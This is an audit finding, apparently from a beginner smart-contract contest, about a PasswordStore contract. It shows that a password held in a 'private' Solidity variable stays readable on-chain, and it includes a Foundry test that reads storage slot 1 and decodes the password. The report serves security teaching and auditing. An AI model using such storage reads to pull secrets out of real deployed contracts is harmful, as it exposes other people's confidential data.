First Flight #1: PasswordStore

Summary

Confidential information, such as a password, shouldn't be stored on the chain, as it is still visible to everyone even though the variable is marked as private

Vulnerability Details

Anyone could still view the owner's password, POC as below:

function test_non_owner_get_password() public {
    // A non-owner can access the password by accessing storage data,
    // The 's_password' is located at storage slot index #1
    vm.startPrank(owner);
    passwordStore.setPassword("InsecurePassword");

    vm.prank(address(1));

    bytes32 bytesPassword = vm.load(
        address(passwordStore),
        bytes32(uint256(1))
    );

    string memory stringPassword = string(abi.encodePacked(bytesPassword));
    console.logString(stringPassword);
}

Impact

Anyone could see the owner's password.

Tools Used

Foundry and manual inspection.

Recommendations

Do not store confidential information such as passwords or private keys on the blockchain.